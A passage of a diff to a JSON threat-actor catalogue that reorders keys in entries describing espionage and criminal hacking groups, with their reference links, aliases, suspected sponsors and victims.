- "uuid": "acbfd9e4-f78c-4ae0-9b52-c35ed679e546"
+ "uuid": "acbfd9e4-f78c-4ae0-9b52-c35ed679e546",
+ "value": "SilverTerrier"
},
{
- "value": "WildNeutron",
"description": "A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks.",
"meta": {
"refs": [
@@ -2694,10 +2705,10 @@
"Sphinx Moth"
]
},
- "uuid": "e7df3572-0c96-4968-8e5a-803ef4219762"
+ "uuid": "e7df3572-0c96-4968-8e5a-803ef4219762",
+ "value": "WildNeutron"
},
{
- "value": "PLATINUM",
"description": "PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.",
"meta": {
"refs": [
@@ -2708,45 +2719,47 @@
"TwoForOne"
]
},
- "uuid": "1fc5671f-5757-43bf-8d6d-a9a93b03713a"
+ "uuid": "1fc5671f-5757-43bf-8d6d-a9a93b03713a",
+ "value": "PLATINUM"
},
{
- "value": "ELECTRUM",
"description": "Adversaries abusing ICS (based on Dragos Inc adversary list). Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.",
"meta": {
- "mode-of-operation": "Electric grid disruption and long-term persistence",
- "since": "2016",
"capabilities": "CRASHOVERRIDE",
- "victimology": "Ukraine, Electric Utilities",
- "synonyms": [
- "Sandworm"
- ],
+ "mode-of-operation": "Electric grid disruption and long-term persistence",
"refs": [
"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf",
"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf",
"https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf",
"https://dragos.com/adversaries.html"
- ]
+ ],
+ "since": "2016",
+ "synonyms": [
+ "Sandworm"
+ ],
+ "victimology": "Ukraine, Electric Utilities"
},
- "uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c"
+ "uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c",
+ "value": "ELECTRUM"
},
{
- "value": "RASPITE",
"description": "Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.",
- "uuid": "2c8994ba-367c-46f6-bfb0-390c8760dd9e",
"meta": {
- "synonyms": [
- "LeafMiner"
- ],
- "since": "2017",
- "victimology": "Electric utility sector",
"refs": [
"https://dragos.com/blog/20180802Raspite.html",
"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
- ]
- }
+ ],
+ "since": "2017",
+ "synonyms": [
+ "LeafMiner"
+ ],
+ "victimology": "Electric utility sector"
+ },
+ "uuid": "2c8994ba-367c-46f6-bfb0-390c8760dd9e",
+ "value": "RASPITE"
},
{
+ "description": "FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
@@ -2755,22 +2768,13 @@
"http://files.shareholder.com/downloads/AMDA-254Q5F/0x0x938351/665BA6A3-9573-486C-B96F-80FA35759E8C/FEYE_rpt-mtrends-2017_FINAL2.pdf"
]
},
- "description": "FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.",
- "value": "FIN8",
- "uuid": "a78ae9fe-71cd-4563-9213-7b6260bd9a73"
+ "uuid": "a78ae9fe-71cd-4563-9213-7b6260bd9a73",
+ "value": "FIN8"
},
{
- "value": "El Machete",
"description": "El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.",
"meta": {
- "refs": [
- "https://securelist.com/blog/research/66108/el-machete/",
- "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html",
- "https://www.cfr.org/interactive/cyber-operations/machete"
- ],
- "synonyms": [
- "Machete"
- ],
+ "cfr-suspected-state-sponsor": "Unknown",
"cfr-suspected-victims": [
"Venezuela",
"Russia",
@@ -2788,17 +2792,24 @@
"United States",
"Malaysia"
],
- "cfr-suspected-state-sponsor": "Unknown",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Military",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "refs": [
+ "https://securelist.com/blog/research/66108/el-machete/",
+ "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html",
+ "https://www.cfr.org/interactive/cyber-operations/machete"
+ ],
+ "synonyms": [
+ "Machete"
]
},
- "uuid": "827c17e0-c3f5-4ad1-a4f4-30a40ed0a2d3"
+ "uuid": "827c17e0-c3f5-4ad1-a4f4-30a40ed0a2d3",
+ "value": "El Machete"
},
{
- "value": "Cobalt",
"description": "A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.",
"meta": {
"refs": [
@@ -2809,7 +2820,8 @@
"Cobalt gang"
]
},
- "uuid": "01967480-c49b-4d4a-a7fa-aef0eaf535fe"
+ "uuid": "01967480-c49b-4d4a-a7fa-aef0eaf535fe",
+ "value": "Cobalt"
},
{
"meta": {
@@ -2818,18 +2830,18 @@
"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts#.WS3IBVFV4no.twitter"
]
},
- "value": "TA459",
- "uuid": "c6472ae1-c6ad-4cf1-8d6e-8c94b94fe314"
+ "uuid": "c6472ae1-c6ad-4cf1-8d6e-8c94b94fe314",
+ "value": "TA459"
},
{
"meta": {
+ "country": "RU",
"refs": [
"https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/#.V-wnrubaeEU.twitter"
- ],
- "country": "RU"
+ ]
},
- "value": "Cyber Berkut",
- "uuid": "4d9f68ba-cb2b-40bf-ba4b-6a5a9f2e1cf8"
+ "uuid": "4d9f68ba-cb2b-40bf-ba4b-6a5a9f2e1cf8",
+ "value": "Cyber Berkut"
},
{
"meta": {
@@ -2839,46 +2851,54 @@
"https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/"
]
},
- "value": "Tonto Team",
- "uuid": "0ab7c8de-fc23-4793-99aa-7ee336199e26"
+ "uuid": "0ab7c8de-fc23-4793-99aa-7ee336199e26",
+ "value": "Tonto Team"
},
{
- "value": "Danti",
"meta": {
"refs": [
"https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/"
]
},
- "uuid": "fb745fe1-5478-4d47-ad3d-7389fa4a6f77"
+ "uuid": "fb745fe1-5478-4d47-ad3d-7389fa4a6f77",
+ "value": "Danti"
},
{
- "value": "APT5",
"meta": {
"refs": [
"https://www.fireeye.com/current-threats/apt-groups.html"
]
},
- "uuid": "a47b79ae-7a0c-4308-9efc-294af19cc795"
+ "uuid": "a47b79ae-7a0c-4308-9efc-294af19cc795",
+ "value": "APT5"
},
{
"meta": {
"country": "CN",
- "synonyms": [
- "APT22"
- ],
"refs": [
"http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild"
+ ],
+ "synonyms": [
+ "APT22"
]
},
- "value": "APT 22",
- "uuid": "7a2457d6-148a-4ce1-9e79-aa43352ee842"
+ "uuid": "7a2457d6-148a-4ce1-9e79-aa43352ee842",
+ "value": "APT 22"
},
{
+ "description": "This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.",
"meta": {
- "synonyms": [
- "Bronze Butler",
- "RedBaldKnight"
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "Japan",
+ "China",
+ "Korea (Republic of)",
+ "Russian Federation"
],
+ "cfr-target-category": [
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "CN",
"refs": [
"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan",
@@ -2887,33 +2907,25 @@
"http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html",
"https://www.cfr.org/interactive/cyber-operations/bronze-butler"
],
- "cfr-suspected-victims": [
- "Japan",
- "China",
- "Korea (Republic of)",
- "Russian Federation"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector"
+ "synonyms": [
+ "Bronze Butler",
+ "RedBaldKnight"
]
},
- "value": "Tick",
- "description": "This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.",
- "uuid": "add6554a-815a-4ac3-9b22-9337b9661ab8"
+ "uuid": "add6554a-815a-4ac3-9b22-9337b9661ab8",
+ "value": "Tick"
},
{
"meta": {
+ "country": "CN",
"synonyms": [
"APT26",
"Hippo Team",
"JerseyMikes"
- ],
- "country": "CN"
+ ]
},
- "value": "APT 26",
- "uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11"
+ "uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11",
+ "value": "APT 26"
},
{
"meta": {
@@ -2922,8 +2934,8 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Sabre Panda",
- "uuid": "67adfa07-869f-4052-9d56-b88a51489902"
+ "uuid": "67adfa07-869f-4052-9d56-b88a51489902",
+ "value": "Sabre Panda"
},
{
"meta": {
@@ -2932,8 +2944,8 @@
"http://www.darkreading.com/attacks-and-breaches/crowdstrike-falcon-traces-attacks-back-to-hackers/d/d-id/1110402?"
]
},
- "value": "Big Panda",
- "uuid": "06e89270-ca1b-4cd4-85f3-940d23c76766"
+ "uuid": "06e89270-ca1b-4cd4-85f3-940d23c76766",
+ "value": "Big Panda"
},
{
"meta": {
@@ -2942,17 +2954,17 @@
"http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf"
]
},
- "value": "Poisonous Panda",
- "uuid": "5bc7382d-ddc6-46d3-96f5-1dbdadbd601c"
+ "uuid": "5bc7382d-ddc6-46d3-96f5-1dbdadbd601c",
+ "value": "Poisonous Panda"
},
{
- "value": "Ghost Jackal",
"meta": {
"refs": [
"https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "uuid": "7ad01582-d6a7-4a40-a0ee-7727e268cd15"
+ "uuid": "7ad01582-d6a7-4a40-a0ee-7727e268cd15",
+ "value": "Ghost Jackal"
},
{
"meta": {
@@ -2961,20 +2973,12 @@
"https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/"
]
},
- "value": "TEMP.Hermit",
- "uuid": "73c636ae-e55c-4167-bf40-315789698adb"
+ "uuid": "73c636ae-e55c-4167-bf40-315789698adb",
+ "value": "TEMP.Hermit"
},
{
"meta": {
- "synonyms": [
- "Superman"
- ],
- "country": "CN",
- "refs": [
- "https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/",
- "https://www.threatconnect.com/china-superman-apt/",
- "https://www.cfr.org/interactive/cyber-operations/mofang"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Myanmar",
"Germany",
@@ -2984,29 +2988,27 @@
"United States",
"South Korea"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/",
+ "https://www.threatconnect.com/china-superman-apt/",
+ "https://www.cfr.org/interactive/cyber-operations/mofang"
+ ],
+ "synonyms": [
+ "Superman"
]
},
- "value": "Mofang",
- "uuid": "999f3008-2b2f-467d-ab4d-c5a2fd80b344"
+ "uuid": "999f3008-2b2f-467d-ab4d-c5a2fd80b344",
+ "value": "Mofang"
},
{
"meta": {
- "country": "IR",
- "synonyms": [
- "Slayer Kitten"
- ],
- "refs": [
- "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf",
- "https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/",
- "http://www.clearskysec.com/copykitten-jpost/",
- "http://www.clearskysec.com/tulip/",
- "https://www.cfr.org/interactive/cyber-operations/copykittens"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Israel",
"Jordan",
@@ -3014,70 +3016,80 @@
"Germany",
"United States"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector",
"Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
+ "refs": [
+ "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf",
+ "https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/",
+ "http://www.clearskysec.com/copykitten-jpost/",
+ "http://www.clearskysec.com/tulip/",
+ "https://www.cfr.org/interactive/cyber-operations/copykittens"
+ ],
+ "synonyms": [
+ "Slayer Kitten"
]
},
- "value": "CopyKittens",
- "uuid": "8cca9a1d-66e4-4bc4-ad49-95f759f4c1ae"
+ "uuid": "8cca9a1d-66e4-4bc4-ad49-95f759f4c1ae",
+ "value": "CopyKittens"
},
{
- "value": "EvilPost",
"meta": {
"refs": [
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
]
},
- "uuid": "9035bfbf-a73f-4948-9df2-bd893e9cafef"
+ "uuid": "9035bfbf-a73f-4948-9df2-bd893e9cafef",
+ "value": "EvilPost"
},
{
+ "description": "The referenced link links this group to Temper Panda",
"meta": {
"country": "CN",
"refs": [
"https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/"
]
},
- "value": "SVCMONDR",
- "description": "The referenced link links this group to Temper Panda",
- "uuid": "70b80bcc-58e3-4a09-a3bf-98c0412bb7d3"
+ "uuid": "70b80bcc-58e3-4a09-a3bf-98c0412bb7d3",
+ "value": "SVCMONDR"
},
{
- "value": "Test Panda",
"meta": {
"country": "CN",
"refs": [
"http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem"
]
},
- "uuid": "cd6ac640-9ae9-4aa9-89cd-89b95be1a3ab"
+ "uuid": "cd6ac640-9ae9-4aa9-89cd-89b95be1a3ab",
+ "value": "Test Panda"
},
{
"meta": {
- "country": "IR",
- "refs": [
- "https://securelist.com/blog/incidents/33693/the-madi-campaign-part-i-5/",
- "https://securelist.com/blog/incidents/33701/the-madi-campaign-part-ii-53/",
- "https://www.cfr.org/interactive/cyber-operations/madi"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Iran",
"Pakistan",
"Israel",
"United States"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
+ "refs": [
+ "https://securelist.com/blog/incidents/33693/the-madi-campaign-part-i-5/",
+ "https://securelist.com/blog/incidents/33701/the-madi-campaign-part-ii-53/",
+ "https://www.cfr.org/interactive/cyber-operations/madi"
]
},
- "value": "Madi",
- "uuid": "d5dacda0-12c2-4e80-bdf2-1c5019ec40e2"
+ "uuid": "d5dacda0-12c2-4e80-bdf2-1c5019ec40e2",
+ "value": "Madi"
},
{
"meta": {
@@ -3086,85 +3098,76 @@
"http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem"
]
},
- "value": "Electric Panda",
- "uuid": "69059ec9-45c9-4961-a07e-6b2f2228f0ce"
+ "uuid": "69059ec9-45c9-4961-a07e-6b2f2228f0ce",
+ "value": "Electric Panda"
},
{
"meta": {
- "country": "CN",
- "synonyms": [
- "PLA Navy",
- "Sykipot"
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States",
+ "United Kingdom",
+ "Hong Kong"
],
+ "cfr-target-category": [
+ "Private sector",
+ "Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
"refs": [
"https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments",
"http://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/",
"https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-sykipot-smartcard-proxy-variant-33919",
"https://www.cfr.org/interactive/cyber-operations/sykipot"
],
- "cfr-suspected-victims": [
- "United States",
- "United Kingdom",
- "Hong Kong"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Military"
+ "synonyms": [
+ "PLA Navy",
+ "Sykipot"
]
},
- "value": "Maverick Panda",
- "uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b"
+ "uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b",
+ "value": "Maverick Panda"
},
{
+ "description": "This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.",
"meta": {
- "country": "KP",
- "synonyms": [
- "Kimsuky"
- ],
- "refs": [
- "http://securelist.com/analysis/57915/the-kimsuky-operation-a-north-korean-apt/",
- "https://www.cfr.org/interactive/cyber-operations/kimsuky"
- ],
+ "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
"cfr-suspected-victims": [
"Ministry of Unification",
"Sejong Institute",
"Korea Institute for Defense Analyses"
],
- "cfr-suspected-state-sponsor": "Korea (Democratic People's Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "KP",
+ "refs": [
+ "http://securelist.com/analysis/57915/the-kimsuky-operation-a-north-korean-apt/",
+ "https://www.cfr.org/interactive/cyber-operations/kimsuky"
+ ],
+ "synonyms": [
+ "Kimsuky"
]
},
- "value": "Kimsuki",
"uuid": "bcaaad6f-0597-4b89-b69b-84a6be2b7bc3",
- "description": "This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes."
+ "value": "Kimsuki"
},
{
- "value": "Snake Wine",
"meta": {
"refs": [
"https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
]
},
- "uuid": "7b6ba207-94de-4f94-bc7f-52cd0dafade5"
+ "uuid": "7b6ba207-94de-4f94-bc7f-52cd0dafade5",
+ "value": "Snake Wine"
},
{
- "value": "Careto",
"description": "This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes.",
"meta": {
- "refs": [
- "https://securelist.com/blog/research/58254/the-caretomask-apt-frequently-asked-questions/",
- "https://www.cfr.org/interactive/cyber-operations/careto"
- ],
- "synonyms": [
- "The Mask",
- "Mask",
- "Ugly Face"
- ],
+ "cfr-suspected-state-sponsor": "Spain",
"cfr-suspected-victims": [
"Morocco",
"France",
@@ -3181,14 +3184,23 @@
"Iran",
"Germany"
],
- "cfr-suspected-state-sponsor": "Spain",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "refs": [
+ "https://securelist.com/blog/research/58254/the-caretomask-apt-frequently-asked-questions/",
+ "https://www.cfr.org/interactive/cyber-operations/careto"
+ ],
+ "synonyms": [
+ "The Mask",
+ "Mask",
+ "Ugly Face"
]
},
- "uuid": "069ba781-b2d9-4403-9d9d-c599f5e0181d"
+ "uuid": "069ba781-b2d9-4403-9d9d-c599f5e0181d",
+ "value": "Careto"
},
{
"meta": {
@@ -3197,42 +3209,42 @@
"http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem"
]
},
- "value": "Gibberish Panda",
- "uuid": "b07cf296-7ab9-4b85-a07e-421607c212b0"
+ "uuid": "b07cf296-7ab9-4b85-a07e-421607c212b0",
+ "value": "Gibberish Panda"
},
{
+ "description": "This threat actor targets the South Korean government, transportation, and energy sectors.",
"meta": {
+ "cfr-suspected-state-sponsor": "Unknown",
+ "cfr-suspected-victims": [
+ "South Korea"
+ ],
+ "cfr-target-category": [
+ "Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "KP",
"refs": [
"http://news.softpedia.com/news/korean-energy-and-transportation-targets-attacked-by-oniondog-apt-501534.shtml",
"https://www.cfr.org/interactive/cyber-operations/onion-dog"
- ],
- "cfr-suspected-victims": [
- "South Korea"
- ],
- "cfr-suspected-state-sponsor": "Unknown",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector"
]
},
- "value": "OnionDog",
- "description": "This threat actor targets the South Korean government, transportation, and energy sectors.",
- "uuid": "5898e11e-a023-464d-975c-b36fb1639e69"
+ "uuid": "5898e11e-a023-464d-975c-b36fb1639e69",
+ "value": "OnionDog"
},
{
"meta": {
"country": "IR",
- "synonyms": [
- "Group 41"
- ],
"refs": [
"http://www.crowdstrike.com/blog/whois-clever-kitten/"
+ ],
+ "synonyms": [
+ "Group 41"
]
},
- "value": "Clever Kitten",
- "uuid": "d56c99fa-4710-472c-81a6-41b7a84ea4be"
+ "uuid": "d56c99fa-4710-472c-81a6-41b7a84ea4be",
+ "value": "Clever Kitten"
},
{
"meta": {
@@ -3240,11 +3252,10 @@
"https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "value": "Andromeda Spider",
- "uuid": "e85ab78c-5e86-403c-b444-9cdcc167fb77"
+ "uuid": "e85ab78c-5e86-403c-b444-9cdcc167fb77",
+ "value": "Andromeda Spider"
},
{
- "value": "Cyber Caliphate Army",
"meta": {
"refs": [
"https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division",
@@ -3257,7 +3268,8 @@
"UUC"
]
},
- "uuid": "76f6ad4e-2ff3-4ccb-b81d-18162f290af0"
+ "uuid": "76f6ad4e-2ff3-4ccb-b81d-18162f290af0",
+ "value": "Cyber Caliphate Army"
},
{
"meta": {
@@ -3266,8 +3278,8 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Magnetic Spider",
- "uuid": "430ba885-cd24-492e-804c-815176ed9b1e"
+ "uuid": "430ba885-cd24-492e-804c-815176ed9b1e",
+ "value": "Magnetic Spider"
},
{
"meta": {
@@ -3276,8 +3288,8 @@
"https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Pointed-Dagger.pdf"
]
},
- "value": "Group 27",
- "uuid": "73e4728a-955e-426a-b144-8cb95131f2ca"
+ "uuid": "73e4728a-955e-426a-b144-8cb95131f2ca",
+ "value": "Group 27"
},
{
"meta": {
@@ -3285,36 +3297,35 @@
"https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "value": "Singing Spider",
- "uuid": "769bf551-ff39-4f84-b7f2-654a28df1e50"
+ "uuid": "769bf551-ff39-4f84-b7f2-654a28df1e50",
+ "value": "Singing Spider"
},
{
"meta": {
"country": "IR",
- "synonyms": [
- "Fraternal Jackal"
- ],
"refs": [
"http://pastebin.com/u/QassamCyberFighters",
"http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html"
+ ],
+ "synonyms": [
+ "Fraternal Jackal"
]
},
- "value": "Cyber fighters of Izz Ad-Din Al Qassam",
- "uuid": "22c2b363-5d8f-4b04-96db-1b6cf4d7e8db"
+ "uuid": "22c2b363-5d8f-4b04-96db-1b6cf4d7e8db",
+ "value": "Cyber fighters of Izz Ad-Din Al Qassam"
},
{
"meta": {
+ "country": "CN",
"synonyms": [
"1.php Group",
"APT6"
- ],
- "country": "CN"
+ ]
},
- "value": "APT 6",
- "uuid": "1a2592a3-eab7-417c-bf2d-9c0558c2b3e7"
+ "uuid": "1a2592a3-eab7-417c-bf2d-9c0558c2b3e7",
+ "value": "APT 6"
},
{
- "value": "AridViper",
"meta": {
"refs": [
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-arid-viper.pdf",
@@ -3334,7 +3345,8 @@
"APT-C-23"
]
},
- "uuid": "0cfff0f4-868c-40a1-b9b4-0d153c0b33b6"
+ "uuid": "0cfff0f4-868c-40a1-b9b4-0d153c0b33b6",
+ "value": "AridViper"
},
{
"meta": {
@@ -3342,12 +3354,22 @@
"https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "value": "Dextorous Spider",
- "uuid": "445c7b62-028b-455e-9d65-74899b7006a4"
+ "uuid": "445c7b62-028b-455e-9d65-74899b7006a4",
+ "value": "Dextorous Spider"
},
{
- "value": "Unit 8200",
"meta": {
+ "cfr-suspected-state-sponsor": "Israel",
+ "cfr-suspected-victims": [
+ "Iran",
+ "Sudan"
+ ],
+ "cfr-target-category": [
+ "Military",
+ "Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"country": "IL",
"refs": [
"https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/",
@@ -3357,46 +3379,36 @@
],
"synonyms": [
"Duqu Group"
- ],
- "cfr-suspected-victims": [
- "Iran",
- "Sudan"
- ],
- "cfr-suspected-state-sponsor": "Israel",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Military",
- "Government",
- "Private sector"
]
},
- "uuid": "e9a6cbd7-ca27-4894-ae20-9d11c06fdc02"
+ "uuid": "e9a6cbd7-ca27-4894-ae20-9d11c06fdc02",
+ "value": "Unit 8200"
},
{
"meta": {
- "refs": [
- "https://securelist.com/introducing-whitebear/81638/",
- "https://www.cfr.org/interactive/cyber-operations/whitebears"
- ],
- "synonyms": [
- "Skipper Turla"
- ],
- "country": "RU",
+ "cfr-suspected-state-sponsor": "Russian Federation",
"cfr-suspected-victims": [
"United States",
"South Korea",
"United Kingdom",
"Uzbekistan"
],
- "cfr-suspected-state-sponsor": "Russian Federation",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "RU",
+ "refs": [
+ "https://securelist.com/introducing-whitebear/81638/",
+ "https://www.cfr.org/interactive/cyber-operations/whitebears"
+ ],
+ "synonyms": [
+ "Skipper Turla"
]
},
- "value": "White Bear",
- "uuid": "dc6c6cbc-9dc6-4ace-a2d2-fadefe45cce6"
+ "uuid": "dc6c6cbc-9dc6-4ace-a2d2-fadefe45cce6",
+ "value": "White Bear"
},
{
"meta": {
@@ -3405,8 +3417,8 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Pale Panda",
- "uuid": "43992f81-fd29-4228-94e0-c3aa3e65aab7"
+ "uuid": "43992f81-fd29-4228-94e0-c3aa3e65aab7",
+ "value": "Pale Panda"
},
{
"meta": {
@@ -3415,15 +3427,13 @@
"https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/"
]
},
- "value": "Mana Team",
- "uuid": "110792e8-38d2-4df2-9ea3-08b60321e994"
+ "uuid": "110792e8-38d2-4df2-9ea3-08b60321e994",
+ "value": "Mana Team"
},
{
+ "description": "Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates. ",
"meta": {
- "refs": [
